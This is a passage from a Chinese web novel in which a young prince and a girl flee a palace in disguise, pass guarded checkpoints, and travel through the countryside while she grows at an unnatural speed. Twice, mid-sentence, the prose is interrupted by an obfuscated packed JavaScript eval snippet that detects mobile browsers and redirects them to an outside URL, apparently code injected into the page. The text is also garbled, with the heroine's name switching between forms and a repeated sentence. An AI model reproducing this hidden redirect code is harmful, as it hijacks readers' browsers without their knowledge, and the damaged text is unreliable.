但他不说。因为他更懂另一件事——主上这辈子为别人活得太久了,为国,为民,为母王的遗愿,为兄长的毒,为那些压在他肩上从来没有人问过他扛不扛得动的东西。这是他第一次为自己做选择。 如果这一回他拦住了,主上就再也没有为自己活过了。 "主上要走,属下自然跟着。"梧叔跪下去,磕了一个头,额头碰地发出闷响,"青岚一族,只认少主。少主在哪里,梧苒的人就在哪里。" 他站起来,退后一步,示意暗道另一侧的阴影——那里还站着三个梧姓亲卫,同样穿着百姓衣裳,身上没有任何标识。他们不出声,不行礼,但眼睛里都有同一种光——不是反对,是不舍,是笃定。 主上走,他们就跟着。这是青岚的规矩,也是他们的命。 "你们跟着,但不要靠近。"拓宏的声音很低,"只在暗处守着。不到万不得已,不可现身。沿途每至一镇,须有人先行一步备好补给——衣裳、鞋、干粮、药,多备几套。她想去何处,便陪她去何处。路上莫让她受委屈。" 梧叔点了点头,带着那三人退入夜色,眨眼便不见了。 跃然站在一旁,把这一切看在眼里。她看见梧叔欲言又止的样子,看见那三个亲卫眼中的不舍,看见拓宏叫他"梧叔"时那一瞬的柔软,看见梧叔跪下去磕那个头时额骨碰地的闷响。 青岚一族,只认少主。少主走了,他们就跟着走。曦宇的宫里不会再有他们的身影了。 她把公主礼服脱下来,叠好,放在树下石头上。朱红锦绫、明黄束腰、鸣翠金羽步摇——曦宇悦然的东西,一件不留。 换上粗布衣裳,把头发重新绾了个简单的髻,用一根布条系住。 拓宏也换了。脱下那身玄色锦袍,换上灰褐短褐,腰间系一条麻绳,裤脚扎进布鞋里。他本来就不是养尊处优的王子——隐忍多年,全是卧薪尝胆的狠厉。此刻穿上这身衣裳,往月光下一站,却活脱脱一个乡间少年。 站在老槐树下的,只是一个普通的女孩,和一个普通的男孩。 只是暗处还藏着四双眼睛,替他们看着前后左右的路,替他们把沿途的吃住行都安排得妥妥帖帖。 跃然最后看了一眼王城的方向。 灯火如昼,宫墙如铁。她在那座城里做了几天的公主,像做了一场别人的梦。现在梦醒了,她把梦里的衣裳脱下来,叠好,放在树下。 她不是公主。她从来不是。 她只是一个站在枯樱下的女孩,终于决定自己走出去,看看外面的世界是什么样子。 "走吧。"她说。 23. 旷野之风 我不愿做笼中之鸟——我愿做旷野之风。 ——艾米莉·勃朗特《呼啸山庄》 暗道很长。 拓宏在前面走,跃然跟在后面。暗道只容一人通过,壁面潮湿,指尖划过去是冰凉的泥土和石头。拓宏手里的火折子只够照出脚下两步远的路,再往前便是墨一样的黑。 梧冲庭站在暗道入口处,目送他们走远。那三个梧姓亲卫已经散入了夜色,像水渗进沙子里一样,干干净净地消失。 "主上放心去,老臣断后。" 拓宏点点头,拉起悦然的手。 暗道里走了将近一个时辰,空气渐渐变冷,泥土味变浓。然后拓宏停了,伸手推头顶的石板。石板动了,夜风灌进来,带着野草和石头的气味。 悦然从暗道口探出头,看见的是一片野岭。月亮躲在云后面,只漏出一点微光,照出脚下碎石和远处黑黢黢的山影。 拓宏先爬出去,然后回身拉她。 "来。"他低声说,"天亮之前要翻过这道岭。" 他拉起她的手就跑。暗道出口离王城不过二十里,巡山的哨卫随时可能经过。他带着她专拣没有路的地方走——钻灌木丛、踩碎石坡、绕过一道又一道山梁。她的粗布鞋底子薄,踩在碎石上硌得脚心生疼,可她咬着牙不吭声,只是一步一步跟着他。 不知道跑了多久,拓宏终于慢下来。他侧耳听了一会儿,回头看了她一眼。 "歇歇。" 悦然一屁股坐在石头上,整个人像被抽走了骨头。她低头想去脱鞋,手指刚碰到鞋面就嘶了一声——布面和袜子粘在一起了。 拓宏蹲下来。 "我来。" 他的动作很轻,先把鞋帮慢慢扒开,再从脚后跟把袜子一点点往下褪。袜子揭下来的时候带掉了一层皮,脚趾外侧渗着血丝,大脚趾的指甲盖边沿泛紫。 跃然没吭声。 拓宏看了她一眼。她的嘴唇抿得发白,额角沁着冷汗,可一声都没喊。他从包袱里翻出药粉和布条,给她上药、包扎,手法快而稳。 上完药,他从包袱最底层抽出一双鞋,放在她脚边。 “换这双。” 悦然拿起来翻了翻——鞋底比她原来那双厚了将近一指,用细麻绳纳得密密实实的,踩下去软而不塌。她试着套上,脚底立刻被托住了,石头硌脚的感觉消了大半。 "这鞋底好厚。"她有些意外。 "梧叔备的。"拓宏把旧鞋塞进包袱,语气很淡,“你未走过山路,薄底吃不消。这双厚些,走起来省力。” 悦然点了点头,没有多问。她试着站起来走了两步,脚底稳当了许多,像踩在一块移动的软石上。 走了两步,脚底稳当了许多,像踩在一块移动的软石上。 "舒服多了。"她说。 拓宏没接话。他把包袱重新背好,又弯下腰,背对她,半蹲着。 “上来。” 悦然一愣。“什么?” “背你走。” “不用,我能走——” "你的脚不能走了。"他的声音很平,像是在陈述一个事实,“药刚上,不能再磨。此处离安全之地尚有半日脚程,我背你过去,到了再歇。” 悦然张了张嘴,想反驳,可脚趾传来一阵刺痛,像是在替他说话。 “……你不累吗?你走了一夜了。” 他说这话的时候已经把她背起来了。他的手托着她的膝弯,步子稳稳当当的。 他的肩膀并不宽厚——十五岁的少年,再怎么历练,身量也还未长成。隔着粗布衣裳,她能感觉到他肩胛骨的轮廓,薄薄的一层肌覆在骨头上,略显单薄。可他走得很稳,脚下不晃不颤,每一步都踩得实实在在。 她的胸口贴着他单薄的背,随着他走路的起伏微微晃动。那脊背虽然不宽,却像一根扎进地里的桩——看着细,推不倒。 一种踏实的暖意从他的脊背传过来,不浓烈,却很安心,像是冬天里靠着一面被太阳晒过的墙。 "我们去哪儿?"她问。 他的步子顿了一下。 这个问题,他们出城时没有商量过。 "你想去何处?"他问。 悦然沉默了一会儿。 "雨虹山。" 拓宏的步子停了一瞬,然后继续走。 "雨虹山?你生母消失之处?" "嗯。"悦然的声音闷闷的,从他的肩头传过来,"魅绝殇说我母亲在附近村子里,虽然没有了仙骨,但做凡人不知道是不是幸福了。我想去看看。如果我能找到她,或者至少弄清楚她到底发生了什么——也许很多事就能有答案了。" 她顿了顿,声音更低了。 拓宏没有说话,走了十几步。 "雨虹山在曦宇西南,距此约莫二十日脚程。山路多,林深,沿途人烟稀少。此去不易。" "我知道。" "你确定?" "确定。" 拓宏又走了几步。 "好。那便去雨虹山。" 就这么简单。没有劝她再想想,没有说路途危险,没有问你是不是一时冲动。她说去雨虹山,他说好。 悦然趴在他背上,忽然觉得鼻子酸了一下。不是因为疼,不是因为累,是因为——这辈子从来没有人这样对她。她想做什么,他就陪她做。没有条件,没有保留。 他说的"你确定",是真的在问她确不确定。不是在暗示她别去。 "你不好奇我的事吗?" "我这些天了解了一些。" "就这些?你没有别的想问的?" 他沉默了几步。 "你想说时,自然会说。你不想说,我问亦无益。" 悦然愣了一下,然后把脸埋进他的后颈窝里,没再说话。 天蒙蒙亮的时候,他们翻过了岭。 山的那一边是平原。一望无际的平原,铺着深秋枯黄的草,一直延伸到天边。天边有一道银白色的线,那是河。 悦然从他背上跳下来。 他松开她的手时,她没注意到,他垂在身侧的右手手指正不受控制地微微痉挛着——那是长时间负重托举膝弯留下的痕迹。但他只是把手往袖子里藏了藏,神色依旧平静。 悦然站在岭上看着那片平原,眼睛亮了。 "好大。"她说,"比王城大多了。" "前面就是官道了。"拓宏说,"到了官道便好走。但从现在起,我们得换一种走法。" 他从包袱里翻出两顶帷帽——竹骨撑的圆帽,帽沿垂着一圈灰褐色的薄纱,遮住大半张脸。这种帽子在乡间常见,日头烈的时候妇女出门都戴,不算扎眼。 "戴上。"他把一顶递给她,"从现在起,我们就是赶路的兄妹。" 悦然接过帷帽,把薄纱拨到面前。视线被纱遮住了一层,远处的山和草都变得朦胧,但还能看清路。 "曦宇百姓没见过公主和王爷长什么样。只要衣着普通,不招摇,没人会多看一眼。"他把自己那顶戴好,薄纱遮住了他大半张脸,只露出下巴和一截喉结,"不过——你的眼睛太扎眼。把纱放下来,走路时别掀。" 悦然抬头:“还是紫色吗?” “不是,只是太漂亮。” “像拓夏?” 拓宏笑笑,“你在意这个?” 悦然转过头,有点不好意思。 “你比她漂亮。”拓宏很认真地说。 “你的眼睛,似是能让人陷进去,不再烦躁。旁人视之印象过于深刻,要藏一藏。” 悦然点点头,眼睛藏在薄纱后面,影影绰绰的,看不真切。她把纱拨了拨,确认遮严实了。 拓宏又从包袱里翻出一小罐泥色的膏,挖了一点抹在她脸上和手背上,来回搓了搓——白皙的皮肤被盖住了一层,变成不起眼的麦色。 "脸和手也藏好。袖子放下来,别露手腕。" 跃然看着自己变了色的手,想着脸上应该也是差不多。忽然觉得有点好笑。"你什么时候准备这些东西的?" "梧叔备的。走山路和走官道不一样。山路靠脚力,官道靠藏。"说完,拓宏也给自己乔装起来。 他又从贴身内袋里摸出两份折好的文书,展开给她看——是路引。曦宇国百姓远行需持路引,上面写着姓名、籍贯、所往何处,盖着地方官府的印。一份写着"陈泽,清河镇人,携妹陈然往西南探亲",印信红得端端正正。 "梧叔提前备好的。沿途过镇子、住客栈都要查验。有了这个,我们就是清河镇陈家的人,正经百姓,正经赶路。" 跃然看了看那份路引。"陈泽?你改了姓?" "我母王给我起过一个小字,叫承泽。"他说,声音比刚才轻了一点,"她希望我承天地之泽,不负此生。这个字没几个人知道——父王不知道,拓石不知道,拓云也不知道。只有梧叔知道。" 他停了一下。 "现在你也知道。" 他顿了顿,看了她一眼。 "今后在外面,我叫你然然。" 跃然点了点头。 "你便叫我阿泽。" 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17632087|206408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >"阿泽?"她微微偏了一下头,"为什么叫阿泽?" 拓宏沉默了一瞬。晨光从云缝里漏下来,照在他的侧脸上,帷帽的薄纱被风吹起一角,露出一双很安静的眼睛。 跃然看着他。他的表情很平静,像在说一件很普通的事。可她听出来了——"没几个人知道"这几个字有多重。一个王子的小字,是比名号更私密的东西。名号是给天下人叫的,小字是给至亲之人叫的。 他把他的小字给了她。 "阿泽。"她轻轻叫了一声。 拓宏的肩膀微微动了一下,像是一片叶子落上去的动静。 "嗯。"他应了一声,嘴角弯了一下,几乎看不出来,"走吧,然然。再走一段,前面有个镇子,带你去吃好吃的。" 晨光洒在平原上,枯草尖上挂着的露珠一粒一粒亮起来。远处有一条灰白色的线,那是官道。官道两旁是收割过的稻田,田埂上开满了野菊,小小的黄色花朵挤在一起,在风里轻轻晃动。 跃然从来没有注意过野菊是有香味的。 在宫里,她闻到的都是熏香、脂粉、花房的牡丹,每一种香都是浓的、烈的、抢着往鼻子里钻的。野菊的香不一样,它不争,不抢,你走近了才闻得到,走远了就散了。 她不由自主地放慢了脚步。 阿泽走在前面,察觉到她慢了,也跟着慢下来,但没有回头。 曦宇国的官道比跃然想象中好走。路面用夯土和碎石铺过,平整结实,每隔三十里便有一座驿亭,驿亭旁必有茶摊。这不是朝廷修的——是沿途村民自己凑钱修的。曦宇的百姓有个老规矩:官道是大家的路,路好了,生意就来了,日子就好过了。 走了大半个时辰,前面隐约看见镇子的轮廓。 阿泽忽然慢下来,微微偏头,目光从帷帽的薄纱里扫过前方——镇口设了卡,两块木栏横在路中间,旁边站着四个兵卒,腰挎刀,正在查验过往行人的路引。旁边还贴着一张告示,远远看不清字,但那格式跃然太熟悉了——通缉或搜人的告示,她在宫里见过无数。 她的脚步顿了一下。 "别停。"阿泽的声音很低,从薄纱后面传出来,像自言自语,"跟着我走,自然些。" 他走路的步子一点没变,不快不慢,和一个普通的乡间少年赶路没什么两样。然然深吸一口气,跟上他的步伐。 到了卡口,一个兵卒拦住他们。 "路引。" 拓宏从怀里摸出路引递过去。兵卒展开看了看——"陈泽,清河镇人,携妹陈然往西南探亲"——又抬头打量了他们一眼。 "清河镇的?去西南探什么亲?" "我舅舅。"拓宏的声音带着一点乡音,不重,但听得出来不是莲京人,"舅舅在雨虹山那边的杏花村,前阵子病了,我娘让我带妹妹去看看他。" 兵卒又看了看悦然。她低着头,帷帽遮得严严实实,只露出下巴和一截麦色的手。 "把帽子掀一下。" 悦然的手动了一下。拓宏先一步伸手,轻轻把她帷帽的薄纱拨起来一点——不是全掀开,只露出半张脸。薄纱的阴影刚好落在她眼眶的位置,遮住了那双清亮的眼睛,只露出鼻梁和嘴巴。 "我妹妹怕生,见生人脸红。"拓宏说,语气里带着一点兄长的无奈,"大人见谅。" 兵卒看了然然一眼——一个瘦小的女孩,麦色的皮肤,平平无奇,低着头不敢看人。没什么特别的。 "行,走吧。" 他把路引递回来,抬手放行。 拓宏接过路引,拉着悦然走过卡口。她的手心全是汗,可他的手干燥而稳,一点没抖。 走过卡口十几步,他松开她的手。 "没事了。" 悦然回头看了一眼——兵卒已经在查验下一个行路之人了,没人多看他们一眼。 "你刚才……不紧张吗?"她问。 "没事。"拓宏说,"藏不过便打一仗,暴露了再藏。" 他顿了顿。 "梧叔教我的。四岁进山历练那年,他带我穿过半个曦宇,每过一个镇子就要过一次卡。他说,藏不是缩,藏是融——融进人堆里,让人看你一眼就忘。" 悦然点了点头,把这句话记在了心里。她忽然明白,梧叔教他的不仅是如何逃命,更是如何在这个吃人的世间,护住自己想护的人。 她抬起头,透过帷帽的薄纱看向他。晨风吹起他粗布衣角,他走在她前面半步的位置,像一座沉默的山。她忽然觉得,前路哪怕再长,只要跟着这座山,好像也没什么好怕的了。 24. 人间烟火 所有的大人都曾经是小孩,虽然,只有少数的人记得。 ——安托万·德·圣-埃克苏佩里《小王子》 走了一个多时辰,悦然的脚步开始变慢。不是想看风景的那种慢——脚底板传来一阵灼痛,每踩一步都像踩在炭火上。昨夜翻山磨破的脚虽然包扎过了,可新皮嫩,官道的碎石又硌得慌,走久了又开始疼。她偷偷把步子迈小了一点。 拓宏走了几步,忽然停下来。 他没有回头,但他的目光扫过地上的影子——她的步态变了,走路时脚掌不敢实打实地踩下去,每一步都像在踩棉花。 "脚又疼了?" 悦然愣了一下。"没有,就是——" "坐下。脱鞋。" 她坐在路边的田埂上。拓宏在她面前蹲下来,伸手去抬她的脚。 "不用——" "抬脚。" 她把脚抬起来。拓宏脱掉她的鞋——脚底板又起了几个小泡,昨夜磨破的地方虽然愈合了,可新皮还嫩,又被碎石硌出了新的。 他从包袱里翻出细针和药膏。先用火折子把针尖烧了烧,然后轻轻挑破最大的那个水泡——水泡瘪下去,淡黄的液体流出来。然然缩了一下脚。 "疼?" "一点。" 他一个一个地挑,挑完了涂上药膏,然后用干净的布条把脚底板一圈一圈地缠好,松紧适度,既不勒脚也不滑脱。 缠完之后他抬头看了她一眼。 "以后疼就说。你愈合得快,不代表不疼。" 悦然张了张嘴,没说出话来。 在现代,她也受过伤。出去玩儿膝盖摔在地上的玻璃渣上,她一瘸一拐走回家,妈妈不在了,姥姥不会心疼她,只拿出紫药水擦擦,在别的孩子身上要去医院缝针的伤口,她只是紫药水草草了事了,留下一道长长的扭曲的疤。 她当时没觉得有什么。可此刻拓宏蹲在她面前,手里还攥着那根挑过水泡的细针,说出"你愈合得快不代表不疼"的时候,她忽然觉得鼻尖有点酸。 不是因为疼。是因为有人把她的疼当成了疼。 "走吧,然然。"拓宏站起来,"再走一段就到镇子了。" 他蹲她在前面,她爬上他的背。走在深秋的官道上,他们像一对赶路的兄妹,扔进人堆里找不出来。 第二天早晨,悦然醒来时伸了一个懒腰。 骨头咔咔响了两声。她愣了一下——那种响法不对,不是睡僵了关节的弹响,是一种从骨头缝里挤出来的、酸胀的闷响,像什么东西被压了很久忽然弹开。 她低头看了看自己的手脚。没有明显的变化,只是觉得……手指好像长了一点? 脚底板的水泡已经完全愈合了。昨晚挑破的那些伤口,今早光洁如新,连疤痕都没有。她把布条解下来,穿上鞋,站起来。 鞋有点紧。 不是紧得穿不进去,是脚趾前面多出了一点点余量。 日头升起来的时候,路边景色变了。稻田变菜地,菜地变果园,果园尽头是一条浅溪,溪水清得能看见底下的卵石。 拓宏蹲在溪边洗手,悦然站在他身后,隔着帷帽的薄纱看溪对岸——有一户人家,院子晾衣竿上挂着花花绿绿的衣裳,一个妇人弯腰在院子里喂鸡,嘴里"咯咯咯"地唤着。 "阿泽。" "嗯。" 这是她第一次这样自然地叫他。不是"拓宏",是阿泽——像叫一个同行的人,一个对等的人,一个不需要仰视也不需要防备的人。 拓宏的手在溪水里停了一瞬。然后继续洗。 "这就是这里普通百姓的日子吗?" 他回头看了她一眼。 她站在溪边,风吹起她灰白的布裙和帷帽的薄纱,阳光打在她脸上,她眯着眼看着对岸那个喂鸡的妇人,眼神里有一种他从未见过的光——不是宫里那种小心翼翼的警觉,而是一种近乎好奇的、柔软的注视。 "是。"他说,"这就是。" 她笑了一下。那笑意很淡,但不是苦的。 她蹲下来,掬了一捧溪水洗脸。水凉得她打了个激灵,但她没有缩手。一次,两次,三次,像是要把脸上残存的脂粉和宫墙的气味统统洗掉。 "好凉。"她说,声音里带着一丝连她自己都没察觉的轻快。 走了大半个上午,脚底板又开始疼了。新皮嫩,一走路又磨出了新的水泡。 拓宏走了一会儿,忽然停下来。 "鞋脱了。" 她只好脱了。果然,脚底板又起了几个小泡。 他又蹲下来,又挑了,又涂了药,又缠了布条。缠完之后他抬头看了她一眼—— "走不动要说。" 又走了一段,脚底的灼痛变成了钝钝的胀,她步子越来越小。拓宏不用回头就知道——她的呼吸节奏变了,不是累,是疼。 他停下来,背对着她,微微弯下腰。 "上来。" "不用——" "上来。" 她趴在他背上。短褐的布料粗糙但干燥,有一种太阳晒过的气味。他托着她的腿弯,站起来,颠了颠,把她往上送了送。 "重吗?"她问。 "不重。" 她的脸贴在他的后颈上,能感觉到他皮肤底下的脉搏,一下一下,稳稳的。她闭上眼,听着他的脚步声踩过落叶和碎石,一左一右,一左一右,像一首没有歌词的摇篮曲,她竟然睡着了。 他背着她走了一个多时辰。经过一片芦苇荡时,夕阳正好落在芦苇尖上,把整片荡子染成金红色。 悦然从他肩上抬起头,看着那片金红色的光。 "阿泽。" "嗯。" "曦宇真好看。" 他没有回头,但她感觉到他走得更慢了,慢到她可以看清每一根芦苇在风里弯下去又弹起来的样子。 "那就多看一会儿。"他说。 第三天。 悦然早上起来穿鞋的时候,发现鞋又紧了。脚趾顶在鞋头,明显比前天多出一截。不只是脚,她觉得整条腿好像都拉长了一点,昨晚睡觉的时候小腿骨酸得厉害。 她站起来,比了比拓宏的肩膀——前天她只到他胸口偏下,今天快到他胸口了。 拓宏正在收拾包袱,余光扫了她一眼,动作停了一瞬。 他没有说话。但他看出来了——她的脸比前两天窄了一点,下巴的弧线没那么圆了,颧骨的位置微微高了一点。变化很细微,如果不天天看一个人,根本察觉不出来。但他天天看着她,所以那一点点的不同,他一眼就捕捉到了。 他没有说破。 出发的时候,他们走到镇口,一家布庄门口蹲着个穿灰布短褐的男人,正啃着一块烧饼。看见拓宏走过来,他不着痕迹地拍了拍手上的饼渣,从身后的布袋里取出一个包袱递过去。 "客官,您订的衣裳和鞋。" 声音不大,动作自然。拓宏接过包袱,顺手把几个月牙形铜板搁在他手边,连眼神都没多给一个。 悦然没有注意到那个男人。她只看见拓宏递过来一双新鞋和一套新衣裳。 "试试。比昨天那双大一指。" 她接过来,穿上——刚好。 "你怎么知道我需要更大的鞋?" "脚会长大。"他说,语气平常得像在说天要下雨,"你十岁,正是长个子的时候。" 第四天,他们到了清河镇。 这是路引上写的籍贯——他们"老家"。镇子比前面经过的几个都要大,两条主街交叉,沿街都是铺子,卖布的、卖粮的、卖陶器的,热热闹闹。 悦然正看着一个卖糖人的摊子出神,拓宏忽然拉了她一把。 "走这边。" 他的语气没变,步子也没变,但拉着她的手紧了一下。悦然顺着他的目光看过去——主街尽头设了一个卡,比前几天的卡口大得多,不仅查路引,还在逐一盘问。卡口旁贴了好几张告示,兵卒比别处多了一倍。 "莲京来的。"拓宏低声说,"搜人的范围大了。" 他带着她拐进一条小巷,绕过卡口,从镇子另一头的菜市场出去。菜市场人多,吵吵嚷嚷,卖鱼的腥气和卖豆腐的豆香混在一起,没人注意一对戴帷帽的兄妹。 走到镇外,悦然回头看了一眼。清河镇的炊烟在暮色里升起来,和别的镇子没什么两样。 "阿泽,他们是在搜我们吗?" "不只是我们。"他说,"父王……王上不会只搜两个人。他会搜所有可疑的人,直到确认我们的去向。" 他顿了顿。 "但找不到的。"他自信笑笑。青岚以情报立国,隐匿却是他们最擅长的事情。 悦然点了点头。 那天傍晚,拓宏带她吃了一碗馄饨。皮薄馅大,汤鲜得她眯起了眼。胖大嫂收拾碗碟时看了他们一眼,笑着说:"小两口感情真好。"悦然脸一红,拓宏没解释。 走出镇子的时候,悦然摸了摸肚子——不是宫里那种山珍海味撑出来的饱,是热汤热饭妥妥帖帖填进胃里的饱。 "喜欢吗?"拓宏忽然问。 她想了一下,说:"嗯,真鲜。" "不是问你馄饨。"他看着她,"问你今天的日子。" "喜欢。"她说。 没意识到,拓宏真的想问的是那句对“小两口”的评价。 第五天午后路过一片柿子林。他挑了一个最红的递给她。柿子肉又甜又凉,滑进喉咙时带着一丝涩味,但那点涩马上就被甜盖住了。 她站在柿子林边,看着远处起伏的山丘。风吹过来的时候,她深深吸了一口气——空气里有柿子的甜香,有枯草的干燥气味,有远处谁家灶头飘来的柴火烟味。 她忽然想——原来这就是活着的味道。 第五天傍晚,他们过第二个大镇时又遇上了搜查。 这次比清河镇更严。镇口不仅有兵卒盘查,还有两个穿着不同甲胄的人——悦然认出来了,那是莲京禁军的制式。他们站在卡口旁边,每一个过路人都要被他们亲自看一眼。 拓宏拉着她绕到镇子后面的河边,那里有一排洗衣的妇人。他走过去,从一个老妇人手里接过两件洗好的衣裳,塞了几枚铜板,然后把其中一件递给然然。 "披上。" 悦然披上那件普通的粗布外衫,他们把帷帽摘了,拓宏把悦然额前的碎发放下来,遮住眼睛。他也披了一件,两人混在洗衣妇人和挑水汉子中间,从河边的小路绕进了镇子。 经过那两个禁军身边时,悦然低着头,心跳得像擂鼓。拓宏走在她旁边,手里拎着从河边顺手买的一篮子菜,像一个耕地回家顺路提菜的普通少年。 禁军看了他们一眼,目光滑过去了。 一个拎菜篮的少年和一个低着头的女孩,在暮色里走进镇子。有什么可疑的? 进了客栈,悦然才松了一口气。她的后背全是汗。 拓宏把菜篮放在桌上,面不改色地跟掌柜的要了两间房,递出路引。掌柜的看了一眼,登记了,给了钥匙。 "走吧,然然。先洗洗,一会儿下去吃饭。" 他的声音很平,像什么都没发生过。 悦然看着他拎菜篮的背影,忽然想——他到底是多少次这样躲过去的?四岁进山历练,五岁练兵器,六岁被梧叔带着在山里跑。这十年他躲过多少次追杀,多少次搜查,多少次生死一线? 他不说。她就不问。 第六天,悦然早上起来,发现自己的衣裳短了。 不是缩水——是她的胳膊长出来了。袖口本来盖着手腕,现在短了一截,露出一小段小臂。衣摆也一样,原来过膝,现在只到大腿中部。 她的脸也在变。不是十岁女孩那种圆润柔软的脸了——下巴尖了一点,颧骨高了一点,五官的轮廓从一团模糊的肉里慢慢透出来,像有人在纸上勾线,最初只是淡淡的铅笔痕,一天比一天深,一天比一天清晰。 她突然明白了。 魅绝殇说这副身体一直被卡在十岁。上一世的创伤、这一世的紧张——所有这些东西像一块石头压在一株苗上,苗还在长,但被压得弯弯扭扭,长不出来。现在石头搬走了,苗要把自己欠下的那些生长一口气补回来。 每愈合一次,身体就推进一步。脚上的水泡、腿上的酸痛、骨头缝里那种闷响——那不是病,是她在长。 拓宏在灶边煮粥,余光扫了她一眼。她的个子又高了。前天只到他胸口,今天已经快到肩膀了。 他什么都没说。只是吃完粥之后,出门转了一圈,回来时手里多了一个包袱——果然,里面整整齐齐叠着两套衣裳、一双鞋,旁边还有一张纸条,上面写着"大一指,按主上吩咐备的"。 梧冲庭的字。他比他们先到一步。 他把衣裳拿进屋,放在她床上。 "换上吧。昨天那套小了。" 悦然看着那套新衣裳,又看看自己身上短了一截的旧衣裳,忽然有点想笑——她活了两个世界,从来没有像这几天这样,长得这么快。 她换好衣裳,走到他面前,低着头看了看自己的手——比几天前长了一截,指节更分明,不再是一个小孩的手了。 "阿泽。" "嗯。" "你不觉得我奇怪吗?" 拓宏看了她一眼。 "我每天都变一个样子。三天长高了一寸,鞋已经换了三双。我的脚底板起泡,睡一觉就全好了,连疤都不留,然后第二天又长出新泡,又一夜全好。我在长大,但不是正常人长大的速度——" 她抬起头看着他,眼睛里有一层薄薄的水雾。 "你不觉得我是个怪物吗?" 拓宏没有立刻回答。 他放下手里的碗,站起来,走到她面前。他比她高了一个头,她要仰着脸才能看见他的眼睛。 "你还记得你第一次看见我后背的伤吗?" 悦然一愣。她记得。在驿站那天,温泉池里无意间看见的——他的后背上有一道又长又狰狞的疤痕。 "你看见那伤的时候,你觉得我是怪物吗?" 她摇头。"当然不会。" "你听到我的身世的时候呢?梧苒之子,青岚遗族,国仇家恨——你觉得我是怪物吗?" 她又摇头。 "你听到外面那些人说熙远王给拓石下了毒,说我是想要弑兄夺位的逆贼——你觉得我是怪物吗?" 她还是摇头。 拓宏看着她。 "那你怎么会觉得,我会把你看成怪物?" 悦然抿了唇,说不出话来。 "你非怪物。你只是在长。被压住的东西松开了,当然要长。长得快一点,有什么奇怪的。" 悦然看着他,眼眶里的水雾变成了水珠,有一颗顺着脸颊滑下来。她赶紧低头,用手背擦了一下。 "好了。"拓宏转过身,走回灶边,背对着她,"把粥喝了。长个子的时候不能省吃食。" 悦然站在原地,看着他的背影。 她忽然觉得——他后背那些伤,和她脚底板的水泡,其实是同一种东西。都是被生活碾压过的痕迹。只不过他的长在外面,她的长在里面;他的已经结了疤,她的刚刚开始愈合。 她端起碗,把粥喝完了。 那天路过一个村庄,正赶上集市。 有一样东西让然然走不动了。 甜画。 一个白发老头坐在摊子后面,面前一块大理石板,锅里熬着金黄的麦芽糖浆。他手里捏着一把铜勺,舀起一勺甜浆,手腕一转——先画头,再画身子,再画翅膀,最后画尾巴。一条龙,行云流水,一气呵成。 悦然站在摊子前面,眼睛一眨不眨地看着。帷帽的薄纱遮住了她大半张脸,可那双清透的眼睛隔着纱还是亮得像两颗星。 拓宏掏出铜板放在摊子上。"给她画一个。" 悦然想了想,指着远处山腰上飞过的一只鸟:"那个。" 老头笑了,手腕一转——弯弯的翅,尖尖的喙,舒展的尾羽,三两下便画出一只飞鸟。 悦然接过甜画,举在眼前,对着太阳看。阳光穿过甜浆,隔着薄纱把她的脸映成金色。 她忽然觉得——自己也是那只鸟。被捏了很久,被熬了很久,被压在锅里出不来。可现在有人把她捞出来了,她站在阳光下,翅膀慢慢张开,金色的,透明的,还能飞。 她没有吃那只糖鸟。她举着它走了很远很远,直到糖浆在午后的暖风里慢慢变软,翅膀弯下来,再也张不开了,她才轻轻咬了一口。 甜的。比柿子还甜。 第七天,他们的路经过一片湖。 湖不大,嵌在两座矮山之间,水面平静得像一面铜镜。一个老渔夫坐在码头上补网,看见他们走过来,招了招手。 "赶路的?歇歇脚吧。" 悦然看了看湖面。风吹过来,湖心荡开一圈圈涟漪,几只白鹭站在浅水处,一动不动,像画上去的。 "坐船吗?"拓宏问。 她点头。 老渔夫撑起一条乌篷船,送他们到湖心。然然坐在船头,把手伸进水里。水从指缝间流过,凉丝丝的。她看着自己的手指划开水面,涟漪从指尖一圈一圈扩散出去,碰到船帮又弹回来。 "阿泽。" "嗯。" "我以前觉得活着很累。" 拓宏没有说话。 "每天睁开眼就觉得世界冷,很多让人窒息的东西,很重,压在身上,呼救都来不及。做什么都像是在完成任务——吃饭是任务,睡觉是任务,呼吸也是任务。没有一件事是自己想做的。" 她把手从水里抽出来,看着指尖上的水珠一滴一滴落回湖面。 "可是今天——"她抬起头,看着远处的白鹭,看着湖面上的光,看着头顶那片蓝得不像话的天,"今天我坐在船上,把手伸进水里,觉得水很凉,风很轻,阳光很好。我什么都没想。脑子里什么都没有。就是觉得……舒服。" 她转过头看着拓宏。 "这是不是就是活着的意思?不是完成任务,就是……坐着,吹风,摸水。" 拓宏看着她。阳光打在她脸上,帷帽的薄纱被风吹起一角,她的五官比出发时舒展了很多——眉眼拉开了,下巴的线条从圆圆的变成尖尖的,整张脸从一个小女孩的轮廓慢慢变成一个少女的轮廓。 "是。"他说,"活着便是如此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17632088|206408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。" 老渔夫在船尾听见了,笑了一声。 "姑娘说得好。我在这湖上摇了四十年橹,每天看一样的山、一样的水、一样的白鹭,没觉得腻过。我婆娘说我没出息,我觉得她不懂——出息是给旁人看的,舒坦是给自己的。" 他把船摇到湖心一处芦苇荡边,停了橹。 "中午要是不赶路,上我家吃鱼去。曦宇国的湖鱼,拿粗年一腌、油一煎,再配上我婆娘做的酸笋汤——给个神仙都不换。" 悦然看着老渔夫弯腰收网的背影,忽然问:"阿泽,曦宇的人……都这样吗?" "哪样?" 